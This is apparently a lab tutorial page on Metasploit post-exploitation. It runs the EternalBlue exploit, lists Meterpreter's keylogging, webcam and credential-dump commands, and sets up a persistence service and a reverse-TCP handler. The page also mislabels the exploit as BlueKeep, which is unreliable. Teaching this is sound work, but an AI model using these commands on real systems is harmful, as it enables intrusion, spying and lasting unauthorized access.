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8. Post Exploitation
Thibault edited this page Apr 6, 2021
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Post-exploitation refers to any actions taken after a session is opened. After entering into a system, we could for exemple, look at files, steal passwords, gain access to the entire network from the target machine, run a keylogger, increase our priviledges to the administrator level etc..
meterpreter
Meterpreter is an advanced, multi-faceted payload that operates via DLL injection. It resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques.
Source: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/
Let's re-use the BlueKeep vulnerability on Windows Server 2008:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.0.2.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
...
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
From there we can do bunch of funny things, such as register keystrokes, record audio from the microphone, watch the remote user desktop in real time etc.. 🤯
If we take a look at the network connections, we can see that we established our connection on the spoolsv.exe program:
meterpreter > netstat
Connection list
===============
Proto Local address Remote address State User Inode PID/Program name
----- ------------- -------------- ----- ---- ----- ----------------
...
tcp 10.0.2.5:49374 10.0.2.4:4444 ESTABLISHED 0 0 1092/spoolsv.exe
Now that we are on the machine we wanted to attack, the first thing that we could do is to increase our privileges. In the case of the BlueKeep attack, we already have the highest possible privilege, but if needed, there's a bunch of local modules that we can use on the metasploit framework.
Now that we gained access to the machine, we might want to facilate the process to come later on, this is called persistence. Here's how to set it up:
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > use windows/local/persistence_service
msf6 exploit(windows/local/persistence_service) > set session 1
msf6 exploit(windows/local/persistence_service) > info
Name: Windows Persistent Service Installer
Module: exploit/windows/local/persistence_service
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-10-20
Provided by:
Green-m <greenm.xxoo@gmail.com>
Available targets:
Id Name
-- ----
0 Windows
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
REMOTE_EXE_NAME no The remote victim name. Random string as default.
REMOTE_EXE_PATH no The remote victim exe path to run. Use temp directory as default.
RETRY_TIME 5 no The retry time that shell connect failed. 5 seconds as default.
SERVICE_DESCRIPTION no The description of service. Random string as default.
SERVICE_NAME no The name of service. Random string as default.
SESSION 1 yes The session to run this module on.
Payload information:
Description:
This Module will generate and upload an executable to a remote host,
next will make it a persistent service. It will create a new service
which will start the payload whenever the service is running. Admin
or system privilege is required.
References:
https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp
msf6 exploit(windows/local/persistence_service) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Running module against METASPLOITABLE3
[+] Meterpreter service exe written to C:\Windows\TEMP\fDjQnk.exe
[*] Creating service tdtd
[*] Sending stage (175174 bytes) to 10.0.2.5
[*] Cleanup Meterpreter RC File: /home/kali/.msf4/logs/persistence/METASPLOITABLE3_20210309.1302/METASPLOITABLE3_20210309.1302.rc
[*] Meterpreter session 2 opened (10.0.2.4:4444 -> 10.0.2.5:50172) at 2021-03-09 20:13:03 -0500
Now we're be able to re-establish the connection whenever we want, as long as the machine is running, we don't even have to wait for the user to log in.
Simply restart the Windows 2008 machine and run the followings commands to re-establish the connection:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Sending stage (175174 bytes) to 10.0.2.5
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.5:49352) at 2021-04-06 09:36:31 -0400